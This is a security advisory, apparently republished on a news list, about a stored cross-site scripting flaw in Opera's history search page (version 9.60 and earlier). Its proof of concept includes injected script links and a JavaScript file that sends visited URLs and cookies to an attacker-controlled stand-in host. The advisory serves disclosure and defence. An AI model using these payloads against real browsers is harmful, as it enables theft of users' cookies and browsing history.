[NEWS] Opera Stored Cross Site Scripting Vulnerability
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- Date: 22 Oct 2008 18:50:51 +0200
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Opera Stored Cross Site Scripting Vulnerability
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SUMMARY
Opera browser is vulnerable to stored Cross Site Scripting. A malicious
attacker is able to inject arbitrary browser content through the websites
visited with the Opera browser. The code injection is rendered into the
Opera History Search page which displays URL and a short description of
the visited pages.
DETAILS
Vulnerable Systems:
* Opera version 9.60 and prior
Opera.exe imports Opera.dll which handles most of the browser
functionality. Whenever a user visits a page, the URL, and a part of the
content of the visited page is saved and compressed in a file named
md.dat. The file md.dat can be found at the following path in a standard
Windows Opera installation:
c:\Documents and Settings\user\Local Settings\Application
Data\Opera\Opera\profile\vps\0000\md.dat
The vulnerability exists in the way the URL and the content of visited
page is stored and rendered from the md.dat file.
Opera History Search Page Generation:
User visits a new site. When the user closes the Opera browser, the file
md.dat is updated. The Opera browser appends a block of 2000 bytes for
each site visited. The site URL and title are extracted and put in clear
text at begin of the 2000 bytes block. The preview content which appears
on opera:historysearch page for the site is compressed into the file
md.dat. However, the HTML encoding is not consistent across the URL scheme
of the site and the injection is possible in the optional fragment of the
URL (after the # character).
The following sequence summarises an attack scenario:
1. User visits http://aaa.com/index.htm#<script
src=http://badsite/bad.js></script>
2. URL and preview content is stored in the history search page. However,
the optional fragment after the character # is not encoded properly.
3. If the user visits the history search page, the cross site scripting is
rendered in the user browser context.
Opera History Search Page Rendering:
When accessing the History Search page, Opera reads the file md.dat again.
The content from md.dat is decompressed and saved into a buffer. The
buffer is then used to generate a cache file that contains the HTML code
of the history search page. The cache file can be found such as:
c:\Documents and Settings\user\Local Settings\Application
Data\Opera\Opera\profile\cache4\opr000EA
Then Opera reads the content from the cache file to display the history
search page. The HTML code is not escaped for the optional fragment on the
URL of the visited pages.
Opera History/Cookie Exposed - Exploit Description:
Victim visits site xxx/1.html and clicks on the link. The 1.html source
code:
1.HTML
<html>
<a href='http://xxx/2.html#<script src=http://xxx/a.js></script>'>a</a>
</html>
The link includes the cross site scripting injection and brings the victim
to page 2.html. The web server returns 200 OK. The 2.html source code:
2.HTML
<html>
This is a proof of concept.
<script>
setTimeout("document.location='opera:historysearch?q=*'",5000);
</script>
</html>
The user is then redirected to the opera:historysearch page where the
injection has been stored in the history after the user followed the link
from 1.html. The injection inserted a malicious JavaScript a.js which is
executed when the user reaches the opera history search page.
a.js
var x;
for (x in document.links)
{
document.write("<img
src=http://yyy/xxx.asp?query="+document.links[x].href+">");
}
document.write("<img
src=http://yyy/xxx.asp?keyword="+document.cookie+">");
setTimeout("document.location='http://xxx/3.html'",5000);
The malicious JavaScript includes a cross site forged request that dumps
the URL of the visited pages to a third site yyy controlled by the
attacker. Then the content of the cookie is also dumped and finally the
user is redirected to another page 3.html.
Opera History Cross Site Scripting and Cross Site Request Forgery:
This is the HTML source code of the opera:historysearch?q=* page following
the injection (highlighted in bold):
<li value="3">
<h2><a href="http://xxx/2.html#<script
src=http://xxx/a.js></script>">(null)</a></h2>
<p>This is a proof of concept. </p>
<cite><ins>10/9/2008 12:39:16 AM</ins> - http://xxx/2.html#<script
src=http://xxx/a.js></script></cite>
Note that in Opera 9.52, the injection is possible in other locations:
URL: http://xxx/2.html?a="><script src=http://xxx/a.js</script>
Injection:
<li value="3">
<h2><a href=http://xxx/2.html?a="><script
src=http://xxx/a.js></script>">...
URL: http://xxx/2.html?a=<script src=http://xxx/a.js</script>
Injection:
<li value="3">
<h2><a href="http://xxx/2.html?a=<script
src=http://xxx/a.js></script>">(null)</a></h2>
<p>This is a proof of concept. </p>
<cite><ins>10/9/2008 12:39:16 AM</ins> - http://xxx/2.html?a=<script
src=http://xxx/a.js></script></cite>
Opera 9.60 has partially fixed the issues above but the HTML encoding is
still not consistent.
ADDITIONAL INFORMATION
The information has been provided by Roberto Suggi Liverani.
The original article can be found at:
<http://www.security-assessment.com/files/advisories/2008-10-22_Opera_Stored_Cross_Site_Scripting.pdf> http://www.security-assessment.com/files/advisories/2008-10-22_Opera_Stored_Cross_Site_Scripting.pdf
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